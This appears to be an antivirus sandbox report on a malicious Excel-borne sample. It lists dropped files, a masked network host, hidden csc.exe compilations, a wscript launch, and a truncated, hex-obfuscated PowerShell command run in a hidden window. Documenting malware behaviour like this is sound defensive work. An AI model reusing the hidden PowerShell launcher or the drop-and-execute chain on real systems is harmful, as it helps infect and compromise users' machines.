Technical Information
Malicious functions
Executes the following (exploit)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden function rd67ca1 {param($vdb3c)$r2eb7b='m1131';$ye3524b='';for ($i=0; $i -lt $vdb3c.length;$i+=2){$j569a=[convert]::ToByte($vdb3c.Substring($i,2),16);$ye3524b+=[char]($j56...
Modifies file system
Creates the following files
- %TEMP%\gjjwvkxl.0.cs
- %APPDATA%\o4437x5869\dxfvnjmisg.xl
- %APPDATA%\b4d28.exe
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\content.word\~wrf{89896a69-ca85-447c-8a6e-83570de70a2f}.tmp
- %TEMP%\gjxx-lhw.dll
- %TEMP%\res80a7.tmp
- %TEMP%\csc8097.tmp
- %TEMP%\gjxx-lhw.out
- %TEMP%\gjxx-lhw.cmdline
- %APPDATA%\o4437x5869\dfaxavv.vbe
- %APPDATA%\o4437x5869\nlimcoj.bfq
- %WINDIR%\serviceprofiles\networkservice\appdata\locallow\microsoft\cryptneturlcache\metadata\f0accf77cdcbff39f6191887f6d2d357
- %TEMP%\hseftc59.dll
- %TEMP%\res6540.tmp
- %TEMP%\csc652f.tmp
- %TEMP%\hseftc59.out
- %TEMP%\hseftc59.cmdline
- %TEMP%\hseftc59.0.cs
- %TEMP%\4kmncuag.dll
- %TEMP%\gjxx-lhw.0.cs
- %TEMP%\res86f6.tmp
- %APPDATA%\o4437x5869\uiqv.exe
- %HOMEPATH%\h8850a8273\ulan.pdf
- %APPDATA%\o4437x5869\po-0.exe
- %APPDATA%\o4437x5869\fiudoe.pdf
- %APPDATA%\o4437x5869\mhqqscqpu.exe
- %APPDATA%\o4437x5869\jwnm.log
- %APPDATA%\o4437x5869\mvhmaoc.mp3
- %APPDATA%\o4437x5869\orvtodnsg.mp3
- %APPDATA%\o4437x5869\jnigv.exe
- %APPDATA%\o4437x5869\emjephpbwf.icm
- %APPDATA%\o4437x5869\eotvid.xl
- %APPDATA%\o4437x5869\bgwlw.ico
- %APPDATA%\o4437x5869\ngtiq.ppt
- %APPDATA%\o4437x5869\llqn.bin
- %APPDATA%\o4437x5869\jogxxhukqb.bmp
- %APPDATA%\o4437x5869\fwqgljfinl.cpl
- %APPDATA%\o4437x5869\xdrubtlgpc.bin
- %APPDATA%\o4437x5869\pdvh.xl
- %APPDATA%\o4437x5869\cgeab.cpl
- %APPDATA%\o4437x5869\rouhnhkiqx.ppt
- %TEMP%\res493c.tmp
- %WINDIR%\serviceprofiles\networkservice\appdata\locallow\microsoft\cryptneturlcache\content\f0accf77cdcbff39f6191887f6d2d357
- %TEMP%\csc491c.tmp
- %TEMP%\4kmncuag.out
- %TEMP%\4kmncuag.cmdline
- %TEMP%\res4db5.tmp
- %TEMP%\hvxy3sxg.0.cs
- %TEMP%\yrclosxq.dll
- %TEMP%\res613d.tmp
- %TEMP%\csc611d.tmp
- %TEMP%\yrclosxq.out
- %TEMP%\yrclosxq.cmdline
- %TEMP%\yrclosxq.0.cs
- %TEMP%\tbyk6a25.dll
- %TEMP%\gjjwvkxl.dll
- %TEMP%\hvxy3sxg.out
- %TEMP%\csc4da5.tmp
- %TEMP%\res4ae7.tmp
- %TEMP%\tbyk6a25.out
- %TEMP%\tbyk6a25.cmdline
- %TEMP%\tbyk6a25.0.cs
- %TEMP%\csc4ad6.tmp
- %TEMP%\gjjwvkxl.out
- %TEMP%\gjjwvkxl.cmdline
- %HOMEPATH%\h8850a8273\xtalqwefp.eli
- %APPDATA%\o4437x5869\lhhaosfd.pdf
- %TEMP%\csc7bba.tmp
- %TEMP%\f3xzgy1n.0.cs
- %TEMP%\hvxy3sxg.cmdline
- %TEMP%\4kmncuag.0.cs
- %TEMP%\xgz3ml08.dll
- %TEMP%\res1d69.tmp
- %TEMP%\csc1d39.tmp
- %TEMP%\xgz3ml08.out
- %TEMP%\xgz3ml08.cmdline
- %TEMP%\xgz3ml08.0.cs
- %TEMP%\kgppds4d.dll
- %TEMP%\resec95.tmp
- %TEMP%\cscec75.tmp
- %TEMP%\kgppds4d.out
- %TEMP%\kgppds4d.cmdline
- %TEMP%\kgppds4d.0.cs
- %TEMP%\f3xzgy1n.dll
- %TEMP%\resb44f.tmp
- %TEMP%\cscb43e.tmp
- %TEMP%\f3xzgy1n.out
- %TEMP%\f3xzgy1n.cmdline
- %TEMP%\hvxy3sxg.dll
- %HOMEPATH%\h8850a8273\fnsfcek.vbe
Sets the 'hidden' attribute to the following files
- %APPDATA%\o4437x5869\uiqv.exe
Deletes the following files
- %TEMP%\res4ae7.tmp
- %TEMP%\res493c.tmp
- %TEMP%\xgz3ml08.cmdline
- %TEMP%\xgz3ml08.0.cs
- %TEMP%\xgz3ml08.pdb
- %TEMP%\xgz3ml08.dll
- %TEMP%\4kmncuag.0.cs
- %TEMP%\xgz3ml08.out
- %TEMP%\res1d69.tmp
- %TEMP%\kgppds4d.out
- %TEMP%\kgppds4d.pdb
- %TEMP%\kgppds4d.cmdline
- %TEMP%\kgppds4d.0.cs
- %TEMP%\kgppds4d.dll
- %TEMP%\csc1d39.tmp
- %TEMP%\hvxy3sxg.dll
- %TEMP%\4kmncuag.dll
- %TEMP%\gjxx-lhw.0.cs
- %TEMP%\gjxx-lhw.pdb
- %TEMP%\gjxx-lhw.out
- %TEMP%\csc8097.tmp
- %TEMP%\res80a7.tmp
- %TEMP%\hseftc59.cmdline
- %TEMP%\cscec75.tmp
- %TEMP%\csc491c.tmp
- %TEMP%\hseftc59.pdb
- %TEMP%\hseftc59.dll
- %TEMP%\csc652f.tmp
- %TEMP%\res6540.tmp
- %TEMP%\4kmncuag.cmdline
- %TEMP%\4kmncuag.out
- %TEMP%\hseftc59.0.cs
- %TEMP%\4kmncuag.pdb
- %TEMP%\resec95.tmp
- %TEMP%\f3xzgy1n.cmdline
- %TEMP%\f3xzgy1n.0.cs
- %TEMP%\tbyk6a25.cmdline
- %TEMP%\csc4ad6.tmp
- %TEMP%\res4db5.tmp
- %TEMP%\csc4da5.tmp
- %TEMP%\tbyk6a25.pdb
- %TEMP%\tbyk6a25.0.cs
- %TEMP%\gjxx-lhw.dll
- %TEMP%\tbyk6a25.dll
- %TEMP%\csc611d.tmp
- %TEMP%\gjjwvkxl.pdb
- %TEMP%\gjjwvkxl.dll
- %TEMP%\gjjwvkxl.0.cs
- %TEMP%\gjjwvkxl.out
- %TEMP%\gjjwvkxl.cmdline
- %TEMP%\tbyk6a25.out
- %TEMP%\hseftc59.out
- %TEMP%\yrclosxq.dll
- %TEMP%\yrclosxq.cmdline
- %TEMP%\yrclosxq.0.cs
- %TEMP%\f3xzgy1n.pdb
- %TEMP%\f3xzgy1n.dll
- %TEMP%\f3xzgy1n.out
- %TEMP%\cscb43e.tmp
- %TEMP%\resb44f.tmp
- %TEMP%\yrclosxq.pdb
- %TEMP%\hvxy3sxg.pdb
- %TEMP%\res613d.tmp
- %TEMP%\hvxy3sxg.cmdline
- %TEMP%\hvxy3sxg.0.cs
- %TEMP%\csc7bba.tmp
- %TEMP%\res86f6.tmp
- %TEMP%\yrclosxq.out
- %TEMP%\hvxy3sxg.out
- %TEMP%\gjxx-lhw.cmdline
Network activity
TCP
- 'hp####kt.webd.pl':443
UDP
- DNS ASK hp####kt.webd.pl
Miscellaneous
Searches for the following windows
- ClassName: 'EDIT' WindowName: ''
Creates and executes the following
- '%APPDATA%\o4437x5869\uiqv.exe' nlimcoj.bfq
- '%APPDATA%\b4d28.exe'
- '%APPDATA%\o4437x5869\po-0.exe' he name "Malaysia" is a combination of the word "Malay" and the Latin-Greek suffix "-sia"/-ГЏƒГЋВЇГЋВ±.[14] The word "melayu" in Malay may derive from the Tamil words "malai" and "ur" meaning "...
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES80A7.tmp" "%TEMP%\CSC8097.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\gjxx-lhw.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES6540.tmp" "%TEMP%\CSC652F.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\hseftc59.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES493C.tmp" "%TEMP%\CSC491C.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\4kmncuag.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES1D69.tmp" "%TEMP%\CSC1D39.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\xgz3ml08.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESB44F.tmp" "%TEMP%\CSCB43E.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\f3xzgy1n.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\kgppds4d.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES86F6.tmp" "%TEMP%\CSC7BBA.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\hvxy3sxg.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES613D.tmp" "%TEMP%\CSC611D.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\yrclosxq.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES4DB5.tmp" "%TEMP%\CSC4DA5.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\tbyk6a25.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES4AE7.tmp" "%TEMP%\CSC4AD6.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\gjjwvkxl.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESEC95.tmp" "%TEMP%\CSCEC75.tmp"' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden function rd67ca1 {param($vdb3c)$r2eb7b='m1131';$ye3524b='';for ($i=0; $i -lt $vdb3c.length;$i+=2){$j569a=[convert]::ToByte($vdb3c.Substring($i,2),16);$ye3524b+=[char]($j56...' (with hidden window)
Executes the following
- '%ProgramFiles%\microsoft office\office14\excel.exe' -Embedding
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES80A7.tmp" "%TEMP%\CSC8097.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\gjxx-lhw.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES6540.tmp" "%TEMP%\CSC652F.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\hseftc59.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES493C.tmp" "%TEMP%\CSC491C.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\4kmncuag.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES1D69.tmp" "%TEMP%\CSC1D39.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\xgz3ml08.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESEC95.tmp" "%TEMP%\CSCEC75.tmp"
- '%ProgramFiles%\microsoft office\office14\excelcnv.exe' -Embedding
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\kgppds4d.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\f3xzgy1n.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES86F6.tmp" "%TEMP%\CSC7BBA.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\hvxy3sxg.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES613D.tmp" "%TEMP%\CSC611D.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\yrclosxq.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES4DB5.tmp" "%TEMP%\CSC4DA5.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\tbyk6a25.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES4AE7.tmp" "%TEMP%\CSC4AD6.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\gjjwvkxl.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESB44F.tmp" "%TEMP%\CSCB43E.tmp"
- '%WINDIR%\syswow64\wscript.exe' "%APPDATA%\o4437x5869\run.vbs"
